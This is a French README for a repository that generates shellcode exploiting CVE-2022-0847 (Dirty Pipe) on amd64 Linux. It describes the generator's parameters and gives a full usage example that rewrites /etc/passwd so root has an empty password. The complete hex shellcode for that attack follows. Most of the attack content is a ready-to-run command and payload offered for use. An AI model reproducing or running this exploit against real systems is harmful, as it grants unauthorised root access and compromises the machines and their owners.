
Implémentation de CVE-2022-0847 en tant que shellcode
Ce dépôt contient un script Python (gen_shellcode.py), basé sur pwntools, pour générer un shellcode exploitant CVE-2022-0847.
Le shellcode est basé sur ce PoC : antx.
J'ai analysé le code du PoC et son exécution avec strace pour capturer tous les appels système nécessaires à la réalisation de l'exploit, et dans un premier temps j'ai écrit un programme C qui utilise syscall.h ; il n'était toujours pas adapté à un shellcode, mais il est utile comme référence, donc je l'ai inclus ici (tiny_cve-2022-0847.c).
La fonction qui génère le shellcode prend 3 paramètres : le chemin du fichier dans lequel écrire, les données à écrire et le décalage auquel les données doivent être écrites.
Un exemple de shellcode généré, au format désassemblé d'objdump, peut être trouvé dans shellcode.asm ; il a été généré avec les paramètres suivants :
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4Cela laisse root avec un mot de passe vide.
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
Vous pouvez importer la fonction cve_2022_0847, qui génère le shellcode, pour l'appeler dans d'autres scripts, ou utiliser directement ce script ; il y a une fonction example_usage qui appelle cve_2022_0847 et crée un ELF avec le shellcode.
La fonction cve_2022_0847 effectue également quelques vérifications de base, et affiche ce qui peut mal se passer avec l'exploit ainsi que le shellcode désassemblé si le paramètre verbose est défini.
Elle retourne le shellcode assemblé. La fonction main appelle cve_2022_0847 avec les paramètres de la ligne de commande et affiche le shellcode résultant en hexadécimal au format C, c'est-à-dire sans décoder les octets imprimables. Par exemple :
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
L'architecture prise en charge est uniquement amd64.